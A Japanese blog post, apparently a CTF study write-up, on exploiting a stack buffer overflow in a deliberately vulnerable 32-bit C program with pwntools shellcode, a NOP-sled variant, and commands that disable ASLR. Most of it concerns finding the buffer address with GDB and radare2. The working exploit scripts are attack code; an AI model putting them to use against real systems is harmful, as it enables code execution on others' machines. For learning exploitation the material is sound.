0
0

シェルコードを試していたらGDBで沼った話

Last updated at Posted at 2024-06-21

何事

CTFとかの勉強のために、このサイトを上から順に見ていたのですが、BOFやスタックの話からシェルコードの話題が出てきました。ちょうど試してみるいい機会だと思って色々いじっていたのですが、結果的にGDBの環境変数などによるアドレスの違いで数日費やすハメになった話です。

本編

これを参考にしてShellCodeの実行に挑戦することにしました。まずはサイトからshellcode.zipをダウンロードしてunzipで解答します。色々とファイルが展開されますが、今回の話題で関心があるファイルは下記2つです。

/* source.c */
#include <stdio.h>

void unsafe() {
    char buffer[300];
    
    printf("Overflow me\n");
    gets(buffer);
}

void main() {
    unsafe();
}
# exploit.py

from pwn import *

context.binary = ELF('./vuln')

p = process()

payload = asm(shellcraft.sh())          # The shellcode
payload = payload.ljust(312, b'A')      # Padding
payload += p32(0xffffcfb4)              # Address of the Shellcode

log.info(p.clean())

p.sendline(payload)

p.interactive()

ご覧のようにsource.cgets()には脆弱性が存在しており、bufferが確保する領域を超えて値を書き込めることが分かります。

そしてexploit.pyを書いて実行することで、vulnが持つメモリ領域(そのスタック)にシェルコードとリターンアドレス(あとはいい感じのパディング)を注入し、リターンアドレスがシェルコードの先頭を指す、あるいはnopスレッドで滑らせてシェルコードの先頭を指すようになればシェルコードが実行されるという練習になっています。

なお、payloadの最後に追記する戻りアドレスはこちらで書き換える模様。

また、バイナリは配布されていますが、 実行する脆弱なバイナリvulnsource.cからコンパイルしたいなら以下のオプションが必要です。(というか後に必要になる)

gcc source.c -o vuln -no-pie -fno-stack-protector -z execstack -m32 -std=c99

攻撃には、まずbufferの先頭アドレスを知る必要があります。なぜならbufferより上位のアドレス(スタック概念的には下)にunsafe()関数からmain()関数に帰る戻りアドレスがあるはずであり、今回はそれをBOFでbufferの先頭アドレスに書き換える必要があるからです。

そうすることで、unsafe()関数のret命令?の際に、スタックから戻りアドレスとしてこの場所がIP(今回は32bitなのでesp)にセットされます。そうすればIPはシェルコードが格納されているアドレスを指し示すため、シェルコードが実行されるはずです。

あとASLRもオフにしておきます。

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

// こうでも良い?
sudo sysctl -w kernel.randomize_va_space=0

次に、Webサイトではradare2を使用していますが、私はGDBを使ってbufferの先頭アドレス割り出しを試みました(これが悪夢の始まり)

はじめにGDBを起動して、unsafe()関数の中身を覗いてみましょう

$) gdb -q vuln

(gdb) disas unsafe
Dump of assembler code for function unsafe:
   0x08049172 <+0>:	push   ebp
   0x08049173 <+1>:	mov    ebp,esp
   0x08049175 <+3>:	push   ebx
   0x08049176 <+4>:	sub    esp,0x134
   0x0804917c <+10>:	call   0x80490b0 <__x86.get_pc_thunk.bx>
   0x08049181 <+15>:	add    ebx,0x2e7f
   0x08049187 <+21>:	sub    esp,0xc
   0x0804918a <+24>:	lea    eax,[ebx-0x1ff8]
   0x08049190 <+30>:	push   eax
   0x08049191 <+31>:	call   0x8049040 <puts@plt>
   0x08049196 <+36>:	add    esp,0x10
   0x08049199 <+39>:	sub    esp,0xc
   0x0804919c <+42>:	lea    eax,[ebp-0x134]
   0x080491a2 <+48>:	push   eax
   0x080491a3 <+49>:	call   0x8049030 <gets@plt>
   0x080491a8 <+54>:	add    esp,0x10
   0x080491ab <+57>:	nop
   0x080491ac <+58>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x080491af <+61>:	leave
   0x080491b0 <+62>:	ret
End of assembler dump.

gets()終了直後のスタックを覗きたいので、gets直後にブレイクポイントを貼って実行します。

(gdb) b *0x080491a8 
(gdb) r
Overflow me
<<find me>>

Breakpoint 1, 0x080491a8 in unsafe ()
(gdb) x/300s $esp
0xffffd420:	"4\324\377\377\344\317\377\367@"
0xffffd42a:	""
0xffffd42b:	""
0xffffd42c:	"\201\221\004\b\b"
0xffffd432:	""
0xffffd433:	""
0xffffd434:	"<<find me>>"
0xffffd440:	".N=\366\231/\375\367\001"
0xffffd44a:	""
0xffffd44b:	""
0xffffd44c:	"\001"
0xffffd44e:	""
0xffffd44f:	""
...

すると、入力した文字<<find me>>0xffffd434に現れるので、bufferの先頭アドレスがこれだと分かります。
あとはこれをpythonのコードに反映させましょう。
それと、説明は省略しましたが、bufferからリターンアドレスまでのオフセットは312で、配布されたコードとも間違いはなかったため、改変する箇所は下記のみとなります。

# exploit.py
payload += p32(0xffffd434) #アドレスを変更             

上記までで、実行する準備が整ったので実行してみましょう。

$ python3 exploit.py 
[*] '/path/to/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x8048000)
    Stack:    Executable
    RWX:      Has RWX segments
[+] Starting local process '/path/to/vuln':
 pid 4449
/usr/lib/python3.12/site-packages/pwnlib/log.py:396: BytesWarning: Bytes is not text; assuming
 ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  self._log(logging.INFO, message, args, kwargs, 'info')
[*] Overflow me
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$ 
[*] Process '/path/to/ShellCode/vuln' stopped with exit code -11 (SIGSEGV) (pid 4449)
[*] Got EOF while sending in interactive

どうやらセグフォったようです。

そして、なぜセグフォったのかと言う話が今回の沼なのですが、原因はGDBが表示するアドレスが、GDB外では違うアドレスであったということでした。つまりGDBで確認して、exploit.pyに加えたアドレスの変更が間違っていたということです。(bufferの先頭アドレスが実際のアドレスとgdbのアドレスでは違っていた)

これに気づいたのは、確認のために一度ソースコードを改変してコンパイルしてみたときのことでした。

/* source.c */
#include <stdio.h>

void unsafe() {
    char buffer[300];
    
    printf("Overflow me : &buff = %p\n", bufeer);
    gets(buffer);
}

void main() {
    unsafe();
}

これを実行してみると、GDBで確認できるbufferのアドレスと、gdbの外で実行するときに表示されるアドレスが異なることに気づきました。

最終的には、改変したソースからコンパイルしたvulnを実行し、bufferのアドレスを取得してから、そのアドレスを元にエクスプロイトコードを書き直すことでシェルを起動することができました。

結局この記事で何を主張したいのかというと、GDBのアドレスには気をつけてねというだけの話です。

余談その1

沼った数日の間に作成した別のエクスプロイトコードなども掲載しておきます。もしかしたら何かの役に立つかもしれません。

# alt_exploit.py
from pwn import *
import sys
import struct

nop_sled = b'\x90' * 136
shellcode = asm(shellcraft.i386.linux.sh())

# アドレスは適宜変更する
return_addr = struct.pack('I', 0xffffd434) * 132     

payload = nop_sled + shellcode + return_addr
sys.stdout.buffer.write(payload)

このコードはnopスレッドとリターンアドレスの繰り返しを考慮したもので、また4バイト境界にそろえるため、nopスレッドは4で割り切れる136バイトにします。元々シェルコードは44バイトで、bufferからリターンアドレスまでのオフセットは312バイトだったため、(312-44)/2 = 134より134バイトにしようかと考えていたのですが4で割り切れないことから、リターンアドレスがずれてしまいセグフォってしまいます。よって136バイトのnopスレッドと132バイトのリターンアドレスをシェルコードの前後に配置しています。

そして、このエクスプロイトは下記のように実行します。

$ (python3 alt_exploit.py; cat) | ./test

このとき、シェルコードをパイプでただ注入するだけでは、こちらからのコマンドを実行することができないため、catコマンドを挟んでいます。

余談その2

gdbでのアドレスが実際のアドレスと違うことにはいくつかの理由がありそうですが、その一因として環境変数の違いが挙げられそうです。

ここにそれらしいことが載っているのですが、gdbがセットする環境変数や、プログラムのパス名などでメモリ上のアドレスがずれ込んでしまうことがあるようです。

また、gdbunset env LINESunset env COLUMNSも試してみたのですがどうにも実際のアドレスと一致しませんでした。できれば解決策を見つけたいところです。

とりあえずシェルコード実行ができたので良しとします。

あとシェルコードはpwntoolsから持ってきましたが、今度はシェルコードの作成にも挑戦してみたいと思います。

何か間違いがありましたらぜひご指摘ください。

追記

radare2で見れば、正しいbufferの位置が分かりました。

$ r2 -d -A vuln

でデバッガを起動した後、gets()終了後のスタックを見るためにunsafe()を逆アセンブルします。

[0xf7fe3ef0]> s sym.unsafe ; pdf
            ;-- unsafe:
            ; CALL XREF from dbg.main @ 0x80491cc(x)
┌ 70: dbg.unsafe ();
│           ; var int32_t var_4h @ ebp-0x4
│           ; var char[300] buffer @ ebp-0x12c
│           ; var int32_t var_134h @ ebp-0x134
│           0x08049176      55             push ebp                    ; stdio.h:9   version 2.1 of the License, or (at your option) any later version. ; void unsafe();
│           0x08049177      89e5           mov ebp, esp
│           0x08049179      53             push ebx
│           0x0804917a      81ec34010000   sub esp, 0x134
│           0x08049180      e82bffffff     call sym.__x86.get_pc_thunk.bx
│           0x08049185      81c36f2e0000   add ebx, 0x2e6f
│           0x0804918b      83ec08         sub esp, 8                  ; stdio.h:11   The GNU C Library is distributed in the hope that it will be useful,
│           0x0804918e      8d85ccfeffff   lea eax, [var_134h]
│           0x08049194      50             push eax
│           0x08049195      8d8314e0ffff   lea eax, [ebx - 0x1fec]
│           0x0804919b      50             push eax
│           0x0804919c      e89ffeffff     call sym.imp.printf         ; int printf(const char *format)
│           0x080491a1      83c410         add esp, 0x10
│           0x080491a4      83ec0c         sub esp, 0xc                ; stdio.h:12   but WITHOUT ANY WARRANTY; without even the implied warranty of
│           0x080491a7      8d85ccfeffff   lea eax, [var_134h]
│           0x080491ad      50             push eax
│           0x080491ae      e89dfeffff     call sym.imp.gets           ; char *gets(char *s)
│           0x080491b3      83c410         add esp, 0x10
│           0x080491b6      90             nop                         ; stdio.h:13   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
│           0x080491b7      8b5dfc         mov ebx, dword [var_4h]
│           0x080491ba      c9             leave
└           0x080491bb      c3             ret

上記より

[0x08049176]> db 0x080491b3

として0x080491b3にブレイクポイントを貼れば良いと分かります。

次に

[0x08049176]> dc

でプログラムを実行し、

Overflow me
<<find me>>

と入力します。そうすると実行がブレイクポイントまで続いて止まります。そうしたら、スタックの中身を覗いてみましょう。

INFO: hit breakpoint at: 0x80491b3
[0x08049176]> px @ ebp-0x134
- offset -  E4E5 E6E7 E8E9 EAEB ECED EEEF F0F1 F2F3  456789ABCDEF0123
0xffffd4e4  3c3c 6669 6e64 206d 653e 3e00 2e4e 3df6  <<find me>>..N=.
0xffffd4f4  992f fdf7 0100 0000 0100 0000 d4d3 c0f7  ./..............
0xffffd504  c707 0000 c42d c1f7 8013 fcf7 74d5 ffff  .....-......t...
0xffffd514  70d5 ffff 0000 0000 0000 0000 ffff ffff  p...............
0xffffd524  0300 0000 0000 0000 6457 c0f7 e4cf fff7  ........dW......
0xffffd534  c42d c1f7 f582 0408 70d5 ffff 2e4e 3df6  .-......p....N=.
0xffffd544  71ea b107 00d5 ffff f8d5 ffff 74d5 ffff  q...........t...
0xffffd554  7016 fcf7 0c00 0000 6090 0408 0000 0000  p.......`.......
0xffffd564  0000 0000 0000 0000 3480 0408 0000 0000  ........4.......
0xffffd574  0000 0000 0010 0000 0090 fcf7 0000 0000  ................
0xffffd584  f4db fff7 2e4e 3df6 fcd5 ffff 0000 0000  .....N=.........
0xffffd594  7037 fdf7 7082 0408 fcd5 ffff 8cdb fff7  p7..p...........
0xffffd5a4  0100 0000 a016 fcf7 0100 0000 0000 0000  ................
0xffffd5b4  0100 0000 20da fff7 0000 0000 0000 0000  .... ...........
0xffffd5c4  abd8 ffff 0200 0000 f8d5 ffff e4cf fff7  ................
0xffffd5d4  0000 0000 1c00 0000 0000 0000 7075 fcf7  ............pu..
[0x08049176]> quit

はい、0xffffd4e4buffer内容物がありますね?
そして改変したコードからコンパイルしたバイナリも同じアドレスを出力していたので正しいとも分かります。
よって0xffffd4e4を戻りアドレスとしてエクスプロイトを組み上げればよいのです。

記事書いてからすぐ気づきましたが、面倒臭がらずにradare2使えばよかったですねこれ。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0